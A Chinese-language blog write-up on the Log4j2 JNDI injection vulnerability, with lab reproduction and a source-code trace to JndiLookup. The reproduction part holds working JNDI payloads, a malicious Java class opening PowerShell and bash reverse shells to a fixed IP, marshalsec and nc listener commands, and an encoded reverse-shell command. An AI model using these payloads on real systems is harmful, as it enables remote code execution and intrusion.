前言
Log4j2
是Java開發常用的日志框架,這次的漏洞是核彈級的,影響范圍廣,危害大,攻擊手段簡單,已知可能影響到的相關應用有
Apache Solr
Apache Flink
Apache Druid
Apache Struts2
srping-boot-strater-log4j2
ElasticSearch
flume
dubbo
Redis
logstash
kafka
從使用場景上看,只要是通過log4j2
記錄日志時,記錄的內容可控即可觸發漏洞
(error可以、info不行,詳見后續分析)
影響范圍
Apache Log4j2 2.0.0 ~ 2.15.0-rc1
漏洞復現
jdk版本要求
需要注意的有以下幾點:
-
基於RMI的利用方式,JDK版本限制於
6u132
、7u131
、8u121
之前,在8u122及之后的版本中,加入了反序列化白名單的機制,關閉了RMI遠程加載代碼 -
基於LDAP的利用方式,JDK版本限制於
6u211
、7u201
、8u191
、11.0.1
之前,在8u191版本中,Oracle對LDAP向量設置限制,發布了CVE-2018-3149,關閉JNDI遠程類加載 -
針對高版本的jdk,即使設置了
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
可能在利用時也會失敗(vulfocus環境),具體原因未查明…表現是ldap接收到請求,但是沒往http上重定向,但是本地是ok的
本地復現
使用idea構造一個測試項目,對於java的版本有要求,盡量使用jdk8u113
之前jdk8版本(如果是僅測試ldap的注入,用191之前的版本即可)
maven導入相關jar包
寫一個測試類
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
// String payload = "${jndi:ldap://gi7r4l.dnslog.cn/xx}";
// 高版本需要設置,rmi只需要把ldap改成rmi即可
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String payload = "${jndi:ldap://59.110.46.22:45708/RS45706}";
// String payload = "${jndi:rmi://59.110.46.22:45708/Calc}";
logger.error("{}", payload);
logger.info("{}", payload);
logger.info(payload);
logger.error(payload);
}
}
准備一個惡意類,以下是彈計算器以及反彈shell的利用類
彈出計算器
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反彈shell
import java.io.IOException;
/**
* 反彈shell用類
*/
public class RS45706 {
static {
// 靜態塊反彈shell
// windows操作系統使用powershell反彈
if(System.getProperties().getProperty("os.name").toLowerCase().contains("windows")) {
String reverseShellW = "powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient('59.110.46.22',45706);" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = " +
"$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" +
"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" +
"$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" +
"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" +
"$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
try {
Runtime.getRuntime().exec(reverseShellW);
} catch (IOException e) {
e.printStackTrace();
}
} else {
// bash -i >& /dev/tcp/59.110.46.22/45706 0>&1 linux反彈命令
String reverseShellL = "bash -i >& /dev/tcp/59.110.46.22/45706 0>&1";
String[] cmd = new String[]{"/bin/bash","-c",reverseShellL};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) {
}
}
在vps(或者是其他目標主機能訪問到的機器)開啟以下三個服務的端口監聽
ldap
http
nc
-
ldap服務監聽
這里使用的是github上的一個利用工具marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://59.110.46.22:45707/#RS45706" 45708
監聽的端口為45708,指向的類設置成反彈shell的類
-
http服務監聽
需要http訪問的文件夾下需要放置剛剛編譯好的惡意類,然后使用python快速啟動一個http協議python3 -m http.server 45707 或
python -m SimpleHTTPServer 45707
-
nc監聽反彈端口
nc -lvvp 45706
准備工作做完后,直接運行測試類即可看到shell被反彈到我們的vps中
靶場復現
靶場使用的是fofa的vulfocus
靶場搭建:
docker run -d -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=your-ip vulfocus/vulfocus
admin/admin
docker搭建完成后,直接訪問ip:port
,登陸后同步鏡像
然后找到log4j2的鏡像啟動
對於靶場環境,無法直接使用本地環境的復現方式進行復現。原因未知,可能與spring的環境有關,需要深入進行研究
但是對於復現,可以使用github上的另一個工具JNDI-Injection-Exploit進行復現
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuNDYuMjIvNDU3MDYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 59.110.46.22
-C 參數接的是執行的命令
-A 是VPS-ip
這個工具會同時監聽http、ldap與rmi,並生成payload
需要注意的是,只有
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://59.110.46.22:1099/hh15oi
這個payload才可以
發送此payload即可反彈
poc批量掃描思路
針對該漏洞的快速驗證,可以借助dnslog,在jndi被解析並觸發ldap請求時,會請求dns的解析,這樣就可以判斷漏洞的存在性,poc如下
${jndi:ldap://baidu.l3bkhz.dnslog.cn/xx}
漏洞分析
這個漏洞是一個標准的JDNI注入,產生漏洞的原因是因為Context.lookup()
的參數可控,導致程序請求攻擊者的惡意服務器上的惡意類導致任意代碼執行。
先定位一下調用棧
我們需要捋清楚的是,我們傳入的數據是如何通過logger.error(payload)
最終傳入到lookup()
中的,需要看住的是我們傳入的語句,即message
變量
首先跟入error()
方法,這里直接調用了logIfEnabled()
在此方法中,會先判斷isEnabled()
為true才繼續執行
而isEnabled()
的判斷是在AbstractLogger
抽象類的子類Logger
中做的
跟進filter()
這里先判斷this.config.getFilter()
是否為空,而且默認的config.Filter
為空,所以不會進這里的if語句;然后后續的判斷只要是level
不為空而且this.intLevel
只要大於等於log等級的intLevel
就會返回true,所以只要是intLevel
等級在200以下的都可以觸發該漏洞,這類的方法有
OFF、FATAL、ERROR
其余的無法觸發
接着向下跟入
logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()
前面幾個由於是單方法的層層傳遞,就不再跟入,只需要關注的是在logMessage()
中將String類型的message封裝到了Message類中即可,然后直接來到Logger.log()
中
這里判斷this.privateConfig.loggerConfig.getReliabilityStrategy()
獲取的對象是否是LocationAwareReliabilityStrategy
或其子類的實例
這里的strategy
默認為DefaultReliabilityStrategy
的對象實例,而DefaultReliabilityStrategy
實現了LocationAwareReliabilityStrategy
接口
所以上述的if語句會返回true
,進入89行,接着向下深入
DefaultReliabilityStrategy.log() -> LoggerConfig.log()
這里的data
參數為我們傳入的語句,這里的this.propertiesRequireLookup
在我們最開始直接獲取Logger對象的時候默認設置為false
然后設置props
,此處為null
然后在第279行將message
、props
等變量作為參數,創建了一個LogEvent
類的對象,這里沒什么好說的,重點是將我們傳入的JNDI表達式(Message對象設置到了LogEvent.messageFormat和messageText中)
然后接着跟入LoggerConfig.log()
這里會判斷一次isFilter()
在AbstractFilterable
類中filter
會設置為null,而之前說的LoggerConfig
作為其子類,默認調用的是無參構造方法,沒有涉及到對filter
的修改,所以此處的isFilter()
判斷必為false
會進入295行的
this.processLogEvent(event, predicate);
在上圖的306行有一個if判斷,這里是傳入的ALL
是絕對為true
的
在307行將event
對象作為參數傳進了callAppenders()
方法中
這里有一個循環,但是我們重點是關注AppenderControl.callAppender()
對event
做了什么,所以直接跟進358行callAppender()
中
在第44行會將event
作為參數傳入shouldSkip()
中,只有以下三個函數全為false
時才會進入45行的callAppenderPreventRecursion()
isFilteredByAppenderControl() - 判斷是否有filter過濾,默認為null,返回false
isFilteredByLevel() - 判斷是否通過level過濾,這里默認的level為ALL,所以默認必然為false
isRecursiveCall() - 判斷是否遞歸調用-是則返回true
繼續跟進
callAppenderPreventRecursion() -> callAppender0()
這里的isFilteredByAppender()
和之前isFilteredByAppenderControl()
的邏輯類似,也是為了判斷是否有filter
過濾,默認為null
,返回false
繼續跟入
tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()
判斷了一下Constants.ENABLE_DIRECT_ENCODERS
的值,在初始化時靜態塊中設置為true
跟入
directEncodeEvent() -> PatternLayout.encode()
這里先判斷this.eventSerializer
是否是Serializer2
的一個實例,但是在類聲明時eventSerializer
被聲明成了Serializer
的對象,在構造方法進行初始化時執行了這樣一條語句
this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();
其實只需要看看build()
方法
這個方法里出來第一塊if分支,其余兩個返回的類對象都同時實現了Serializer
和Serializer2
,而pattern和defaultPattern都被設置了,所以肯定會進入encode()
的else
分支
然后這里還有一個需要關注的,就是eventPattern
它其實就是event
序列化的格式,這個也被設置在了eventSerializer
中被一起傳入接下來的方法
接下來跟進
toText() -> PatternSerializer.toSerializable()
注:此處的PatternSerializer為PatternLayout的內部類
406行的循環是一個重要的邏輯,最終的觸發點也是在這個循環中產生的,這里的this.formatters
其實就是剛剛看的eventSerializer
的一個類屬性,就結果來說,循環的每一次執行,就會向buffer
里格式化填充一塊數據,每次格式化的數據如下:
(部分截圖)
需要說明的是,這里忽略了具體格式化時的邏輯,因為塊數據格式化時使用的邏輯可能不同,而且與漏洞無關,重要的只有處理jndi表達式那塊
在循環進行到第9次,即索引為8時,會來到漏洞觸發的邏輯,繼續跟入
PatternFormatter.format() -> MessagePatternConverter.format()
這里首先會有一個類型判斷,這里的msg是MutableLogEvent
的實例,實現了LogEvent
, ReusableMessage
, ParameterVisitable
接口,ReusableMessage
實現了StringBuilderFormattable
接口,所以類型判斷是通過的
在第106行會將toAppendTo
設置給workingBuilder
(默認情況,不做渲染,走false邏輯)
然后第107行的offset
為偏移量,即從之前格式化的數據之后進行填充
然后重點看114行,這里先做了一個判斷,判斷config不為空,而且nolookups
為false時,進入之后的邏輯
config的判斷不需要關注,需要看看的是nolookups
的判斷
在初始化時noLookups
的賦值為如下語句
Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
默認為false
后面noLookupsIdx >= 0
的判斷需要跟一下MessagePatternConverter
的初始化。
在初始化時會調用到兩次MessagePatternConverter()
構造方法,兩次options[]
都是空,那其實沒必要深究了
回到
MessagePatternConverter.format()
的第116行,這里開始對JDNI表達式進行處理了
直接跟進119行
這里主要是關注我們的JNDI表達式(這里的source
)的傳遞,這里通過字符串構造了一個StringBuilder
的對象
StrSubstitutor.replace() -> substitute() -> substitute()
注:上述第一個substitute為重載的方法,第二個為主要的處理邏輯
進入了substitute()
發現它又臭又長,其主要作用是遞歸處理日志輸入,轉為對應的輸出
我們只需要重點關注針對buf
的操作即可,針對buf的操作就只有330行else if
這塊
這里的邏輯是刪除JNDI表達式中間的$
,其實影響不到我們的注入語句,然后進入else分支
直接來到418行
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
說一下傳入的參數
varName - 抽取出的JNDI表達式`${}`中的內容
startPos - 0 pos的初值
pos - JNDI表達式總長的計數,我傳入的payload此處值為41
跟入
resolveVariable() -> resolver.lookup()
這里主要的邏輯是先找了一波:
的位置,然后將jndi:
后面的表達式取出,賦值給name
,這里的StrLookup
中包含了多種Lookup對象,可以通過前綴來確定使用哪種lookup
最終跟入
JndiLookup.lookup()
最后就是一路帶進Context.lookup()
里了